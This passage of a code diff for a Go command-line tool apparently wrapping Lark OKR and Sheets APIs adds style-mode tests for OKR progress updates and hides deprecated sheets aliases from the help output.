 		"+progress-update",
 		"--progress-id", "123",
 		"--content", "not-json",
+		"--style", "richtext",
 	})
 	if err == nil {
 		t.Fatal("expected error for invalid --content JSON")
@@ -102,6 +107,7 @@ func TestProgressUpdateValidate_InvalidUserIDType(t *testing.T) {
 		"+progress-update",
 		"--progress-id", "123",
 		"--content", validContentBlockJSON,
+		"--style", "richtext",
 		"--user-id-type", "invalid",
 	})
 	if err == nil {
@@ -116,6 +122,7 @@ func TestProgressUpdateValidate_InvalidProgressPercent_OutOfRange(t *testing.T)
 		"+progress-update",
 		"--progress-id", "123",
 		"--content", validContentBlockJSON,
+		"--style", "richtext",
 		"--progress-percent", "-999999999999",
 	})
 	if err == nil {
@@ -133,6 +140,7 @@ func TestProgressUpdateValidate_InvalidProgressStatus(t *testing.T) {
 		"+progress-update",
 		"--progress-id", "123",
 		"--content", validContentBlockJSON,
+		"--style", "richtext",
 		"--progress-status", "invalid_status",
 	})
 	if err == nil {
@@ -162,6 +170,7 @@ func TestProgressUpdateValidate_Valid(t *testing.T) {
 		"+progress-update",
 		"--progress-id", "123",
 		"--content", validContentBlockJSON,
+		"--style", "richtext",
 	})
 	if err != nil {
 		t.Fatalf("unexpected error: %v", err)
@@ -177,6 +186,7 @@ func TestProgressUpdateDryRun(t *testing.T) {
 		"+progress-update",
 		"--progress-id", "456",
 		"--content", validContentBlockJSON,
+		"--style", "richtext",
 		"--dry-run",
 	})
 	if err != nil {
@@ -201,6 +211,7 @@ func TestProgressUpdateDryRun_WithProgressRate(t *testing.T) {
 		"+progress-update",
 		"--progress-id", "456",
 		"--content", validContentBlockJSON,
+		"--style", "richtext",
 		"--progress-percent", "50",
 		"--progress-status", "overdue",
 		"--dry-run",
@@ -235,6 +246,7 @@ func TestProgressUpdateExecute_Success(t *testing.T) {
 		"+progress-update",
 		"--progress-id", "789",
 		"--content", validContentBlockJSON,
+		"--style", "richtext",
 	})
 	if err != nil {
 		t.Fatalf("unexpected error: %v", err)
@@ -265,8 +277,202 @@ func TestProgressUpdateExecute_APIError(t *testing.T) {
 		"+progress-update",
 		"--progress-id", "999",
 		"--content", validContentBlockJSON,
+		"--style", "richtext",
 	})
 	if err == nil {
 		t.Fatal("expected error for API failure")
 	}
 }
+
+// --- Simple mode tests ---
+
+func TestProgressUpdateExecute_SimpleMode_DefaultStyle(t *testing.T) {
+	t.Parallel()
+	f, stdout, _, reg := cmdutil.TestFactory(t, progressUpdateTestConfig(t))
+	reg.Register(&httpmock.Stub{
+		Method: "PUT",
+		URL:    "/open-apis/okr/v1/progress_records/500",
+		Body: map[string]interface{}{
+			"code": 0,
+			"msg":  "ok",
+			"data": map[string]interface{}{
+				"progress_id": "500",
+				"modify_time": "1735776000000",
+			},
+		},
+	})
+	// Use default style (simple) without specifying --style
+	err := runProgressUpdateShortcut(t, f, stdout, []string{
+		"+progress-update",
+		"--progress-id", "500",
+		"--content", validSemiPlainJSON,
+	})
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+	data := decodeEnvelope(t, stdout)
+	pr, _ := data["progress"].(map[string]interface{})
+	if pr == nil {
+		t.Fatal("expected progress in output")
+	}
+	if pr["progress_id"] != "500" {
+		t.Fatalf("progress_id = %v, want 500", pr["progress_id"])
+	}
+}
+
+func TestProgressUpdateExecute_SimpleMode_ExplicitStyle(t *testing.T) {
+	t.Parallel()
+	f, stdout, _, reg := cmdutil.TestFactory(t, progressUpdateTestConfig(t))
+	reg.Register(&httpmock.Stub{
+		Method: "PUT",
+		URL:    "/open-apis/okr/v1/progress_records/600",
+		Body: map[string]interface{}{
+			"code": 0,
+			"msg":  "ok",
+			"data": map[string]interface{}{
+				"progress_id": "600",
+				"modify_time": "1735776000000",
+			},
+		},
+	})
+	// Explicitly specify --style simple with mentions and progress rate
+	err := runProgressUpdateShortcut(t, f, stdout, []string{
+		"+progress-update",
+		"--progress-id", "600",
+		"--content", `{"text":"updated progress","mention":["ou_abc"]}`,
+		"--style", "simple",
+		"--progress-percent", "80",
+		"--progress-status", "normal",
+	})
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+	data := decodeEnvelope(t, stdout)
+	pr, _ := data["progress"].(map[string]interface{})
+	if pr == nil {
+		t.Fatal("expected progress in output")
+	}
+	if pr["progress_id"] != "600" {
+		t.Fatalf("progress_id = %v, want 600", pr["progress_id"])
+	}
+}
+
+func TestProgressUpdateValidate_SimpleMode_InvalidSemiPlainJSON(t *testing.T) {
+	t.Parallel()
+	f, stdout, _, _ := cmdutil.TestFactory(t, progressUpdateTestConfig(t))
+	err := runProgressUpdateShortcut(t, f, stdout, []string{
+		"+progress-update",
+		"--progress-id", "123",
+		"--content", `{"text":"invalid json`,
+	})
+	if err == nil {
+		t.Fatal("expected error for invalid semi-plain JSON")
+	}
+	problem, ok := errs.ProblemOf(err)
+	if !ok {
+		t.Fatalf("expected typed error, got: %v", err)
+	}
+	if problem.Category != errs.CategoryValidation {
+		t.Fatalf("expected category %q, got %q", errs.CategoryValidation, problem.Category)
+	}
+	if problem.Subtype != errs.SubtypeInvalidArgument {
+		t.Fatalf("expected subtype %q, got %q", errs.SubtypeInvalidArgument, problem.Subtype)
+	}
+	var validationErr *errs.ValidationError
+	if !errors.As(err, &validationErr) {
+		t.Fatalf("expected *errs.ValidationError, got: %T", err)
+	}
+	if validationErr.Param != "--content" {
+		t.Fatalf("expected param %q, got %q", "--content", validationErr.Param)
+	}
+	if !strings.Contains(err.Error(), "--content must be valid semi-plain JSON") {
+		t.Fatalf("unexpected error: %v", err)
+	}
+}
+
+func TestProgressUpdateValidate_SimpleMode_EmptyMention(t *testing.T) {
+	t.Parallel()
+	f, stdout, _, _ := cmdutil.TestFactory(t, progressUpdateTestConfig(t))
+	err := runProgressUpdateShortcut(t, f, stdout, []string{
+		"+progress-update",
+		"--progress-id", "123",
+		"--content", `{"text":"has empty mention","mention":["ou_abc",""]}`,
+	})
+	if err == nil {
+		t.Fatal("expected error for empty mention in simple mode")
+	}
+	problem, ok := errs.ProblemOf(err)
+	if !ok {
+		t.Fatalf("expected typed error, got: %v", err)
+	}
+	if problem.Category != errs.CategoryValidation {
+		t.Fatalf("expected category %q, got %q", errs.CategoryValidation, problem.Category)
+	}
+	if problem.Subtype != errs.SubtypeInvalidArgument {
+		t.Fatalf("expected subtype %q, got %q", errs.SubtypeInvalidArgument, problem.Subtype)
+	}
+	var validationErr *errs.ValidationError
+	if !errors.As(err, &validationErr) {
+		t.Fatalf("expected *errs.ValidationError, got: %T", err)
+	}
+	if validationErr.Param != "--content" {
+		t.Fatalf("expected param %q, got %q", "--content", validationErr.Param)
+	}
+	if !strings.Contains(err.Error(), "--content mention[1] cannot be empty") {
+		t.Fatalf("unexpected error: %v", err)
+	}
+}
+
+func TestProgressUpdateValidate_SimpleMode_ImagesNotSupported(t *testing.T) {
+	t.Parallel()
+	f, stdout, _, _ := cmdutil.TestFactory(t, progressUpdateTestConfig(t))
+	err := runProgressUpdateShortcut(t, f, stdout, []string{
+		"+progress-update",
+		"--progress-id", "123",
+		"--content", `{"text":"has images","mention":[],"images":["img_token"]}`,
+	})
+	if err == nil {
+		t.Fatal("expected error for images in simple mode")
+	}
+	problem, ok := errs.ProblemOf(err)
+	if !ok {
+		t.Fatalf("expected typed error, got: %v", err)
+	}
+	if problem.Category != errs.CategoryValidation {
+		t.Fatalf("expected category %q, got %q", errs.CategoryValidation, problem.Category)
+	}
+	if problem.Subtype != errs.SubtypeInvalidArgument {
+		t.Fatalf("expected subtype %q, got %q", errs.SubtypeInvalidArgument, problem.Subtype)
+	}
+	var validationErr *errs.ValidationError
+	if !errors.As(err, &validationErr) {
+		t.Fatalf("expected *errs.ValidationError, got: %T", err)
+	}
+	if validationErr.Param != "--content" {
+		t.Fatalf("expected param %q, got %q", "--content", validationErr.Param)
+	}
+	if !strings.Contains(err.Error(), "docs and images are not supported in simple style input") {
+		t.Fatalf("unexpected error: %v", err)
+	}
+}
+
+func TestProgressUpdateDryRun_SimpleMode(t *testing.T) {
+	t.Parallel()
+	f, stdout, _, _ := cmdutil.TestFactory(t, progressUpdateTestConfig(t))
+	err := runProgressUpdateShortcut(t, f, stdout, []string{
+		"+progress-update",
+		"--progress-id", "700",
+		"--content", validSemiPlainJSON,
+		"--dry-run",
+	})
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+	output := stdout.String()
+	if !strings.Contains(output, "/open-apis/okr/v1/progress_records/700") {
+		t.Fatalf("dry-run output should contain API path, got: %s", output)
+	}
+	if !strings.Contains(output, "PUT") {
+		t.Fatalf("dry-run output should contain PUT method, got: %s", output)
+	}
+}

shortcuts/okr/shortcuts.go

@@ -22,5 +22,6 @@ func Shortcuts() []common.Shortcut {
 		OKRReorder,
 		OKRWeight,
 		OKRIndicatorUpdate,
+		OKRPatch,
 	}
 }

shortcuts/register.go

@@ -205,16 +205,18 @@ func installBrandRestrictionGuard(svc *cobra.Command, service string, brand core
 	svc.Long = fmt.Sprintf("The %q feature is not yet supported on the %s brand.", service, brand)
 }
 
-// Sheets backward-compatibility help grouping.
+// Sheets backward-compatibility grouping.
 //
 // shortcuts/sheets/backward keeps the pre-refactor command names alive so that
 // users whose lark-sheets skill predates the refactor keep working even after
-// upgrading only the binary. In `sheets --help` those aliases would otherwise
-// sort alphabetically into the same flat list as the current commands,
-// indistinguishable from them. applySheetsCompatGroups splits them into a
-// dedicated cobra group whose heading tells the user to update their skill, and
-// appends a "(→ +new-command)" pointer to each alias so the migration target is
-// obvious. Pure presentation — the aliases stay fully executable.
+// upgrading only the binary. applySheetsCompatGroups tags each alias into a
+// dedicated deprecated cobra group. The refactored commands have been the
+// default for over a month, so `sheets --help` no longer lists these aliases:
+// sheetsUsageTemplate renders every group except the deprecated one. The
+// grouping is still applied for two reasons — the unknown-subcommand path
+// (cmd/root.go) keys off it to classify a mistyped legacy alias, and each
+// alias's own `sheets <alias> --help` still surfaces the "(→ +new-command)"
+// migration pointer appended below. The aliases stay fully executable.
 const (
 	sheetsCurrentGroupID = "sheets-current"
 	// sheetsDeprecatedGroupID aliases the shared deprecated-group id so both
@@ -224,9 +226,10 @@ const (
 )
 
 // sheetsAliasReplacement maps each pre-refactor sheets alias to the current
-// command(s) that replace it, shown as a "(→ ...)" suffix in --help. Aliases
-// absent from this map still land in the deprecated group, just without a
-// pointer, so a missing entry degrades gracefully rather than misgrouping.
+// command(s) that replace it, shown as a "(→ ...)" suffix in the alias's own
+// --help and reused by wrapSheetsBackwardDeprecation for the on-execution
+// _notice. Aliases absent from this map still land in the deprecated group,
+// just without a pointer, so a missing entry degrades gracefully.
 var sheetsAliasReplacement = map[string]string{
 	// spreadsheet / sheet management
 	"+create":       "+workbook-create",
@@ -279,6 +282,43 @@ var sheetsAliasReplacement = map[string]string{
 	"+delete-float-image": "+float-image-delete",
 }
 
+// sheetsUsageTemplate is cobra v1.10.2's stock usage template with a single
+// change: the group loop is guarded by {{if ne $group.ID "deprecated"}} so the
+// deprecated pre-refactor aliases are omitted from `sheets --help` altogether.
+// Everything else — current commands, ungrouped metaapi subcommands under
+// "Additional Commands", flags — renders exactly as cobra's default. Keep in
+// sync with cobra's defaultUsageTemplate on upgrade.
+var sheetsUsageTemplate = fmt.Sprintf(`Usage:{{if .Runnable}}
+  {{.UseLine}}{{end}}{{if .HasAvailableSubCommands}}
+  {{.CommandPath}} [command]{{end}}{{if gt (len .Aliases) 0}}
+
+Aliases:
+  {{.NameAndAliases}}{{end}}{{if .HasExample}}
+
+Examples:
+{{.Example}}{{end}}{{if .HasAvailableSubCommands}}{{$cmds := .Commands}}{{if eq (len .Groups) 0}}
+
+Available Commands:{{range $cmds}}{{if (or .IsAvailableCommand (eq .Name "help"))}}
+  {{rpad .Name .NamePadding }} {{.Short}}{{end}}{{end}}{{else}}{{range $group := .Groups}}{{if ne $group.ID %q}}
+
+{{.Title}}{{range $cmds}}{{if (and (eq .GroupID $group.ID) (or .IsAvailableCommand (eq .Name "help")))}}
+  {{rpad .Name .NamePadding }} {{.Short}}{{end}}{{end}}{{end}}{{end}}{{if not .AllChildCommandsHaveGroup}}
+
+Additional Commands:{{range $cmds}}{{if (and (eq .GroupID "") (or .IsAvailableCommand (eq .Name "help")))}}
+  {{rpad .Name .NamePadding }} {{.Short}}{{end}}{{end}}{{end}}{{end}}{{end}}{{if .HasAvailableLocalFlags}}
+
+Flags:
+{{.LocalFlags.FlagUsages | trimTrailingWhitespaces}}{{end}}{{if .HasAvailableInheritedFlags}}
+
+Global Flags:
+{{.InheritedFlags.FlagUsages | trimTrailingWhitespaces}}{{end}}{{if .HasHelpSubCommands}}
+
+Additional help topics:{{range .Commands}}{{if .IsAdditionalHelpTopicCommand}}
+  {{rpad .CommandPath .CommandPathPadding}} {{.Short}}{{end}}{{end}}{{end}}{{if .HasAvailableSubCommands}}
+
+Use "{{.CommandPath}} [command] --help" for more information about a command.{{end}}
+`, sheetsDeprecatedGroupID)
+
 func applySheetsCompatGroups(svc *cobra.Command) {
 	svc.AddGroup(
 		&cobra.Group{ID: sheetsCurrentGroupID, Title: "Available Commands:"},
@@ -310,6 +350,11 @@ func applySheetsCompatGroups(svc *cobra.Command) {
 			c.GroupID = sheetsCurrentGroupID
 		}
 	}
+
+	// Refactored commands have been the default for over a month: drop the
+	// deprecated group from `sheets --help` (see sheetsUsageTemplate). The
+	// aliases remain grouped and executable, just no longer advertised here.
+	svc.SetUsageTemplate(sheetsUsageTemplate)
 }
 
 // wrapSheetsBackwardDeprecation decorates each backward-compatibility sheets

shortcuts/register_test.go

@@ -511,10 +511,11 @@ func TestApplySheetsCompatGroups(t *testing.T) {
 	}
 }
 
-// End-to-end: the rendered `sheets --help` must surface the deprecated-group
-// heading (telling users to update their skill) plus the per-alias migration
-// pointers, while keeping the refactored shortcuts under Available Commands.
-func TestRegisterShortcutsSheetsHelpGroupsDeprecatedAliases(t *testing.T) {
+// End-to-end: `sheets --help` must list refactored shortcuts under Available
+// Commands, but no longer advertise the deprecated pre-refactor aliases or the
+// deprecated group heading (sheetsUsageTemplate skips that group). The aliases
+// stay registered and executable — hidden from the parent listing, not removed.
+func TestRegisterShortcutsSheetsHelpHidesDeprecatedAliases(t *testing.T) {
 	program := &cobra.Command{Use: "root"}
 	RegisterShortcuts(program, newRegisterTestFactory(t))
 
@@ -530,19 +531,25 @@ func TestRegisterShortcutsSheetsHelpGroupsDeprecatedAliases(t *testing.T) {
 	}
 	got := out.String()
 
-	for _, want := range []string{
-		"Available Commands:",
-		"Deprecated pre-refactor commands",
-		"update your lark-sheets skill",
-		"+read",
-		"(→ +cells-get)",
-		"+write",
-		"(→ +cells-set)",
-	} {
+	for _, want := range []string{"Available Commands:", "+cells-get"} {
 		if !strings.Contains(got, want) {
 			t.Fatalf("sheets help missing %q:\n%s", want, got)
 		}
 	}
+	for _, unwanted := range []string{
+		"Deprecated pre-refactor commands",
+		"update your lark-sheets skill",
+		"+read",
+		"+write",
+	} {
+		if strings.Contains(got, unwanted) {
+			t.Fatalf("sheets help still shows deprecated content %q:\n%s", unwanted, got)
+		}
+	}
+
+	if alias, _, ferr := sheetsCmd.Find([]string{"+read"}); ferr != nil || alias == nil {
+		t.Fatalf("deprecated alias +read should stay registered, got err=%v cmd=%v", ferr, alias)
+	}
 }
 
 // wrapSheetsBackwardDeprecation must decorate each alias's Execute so that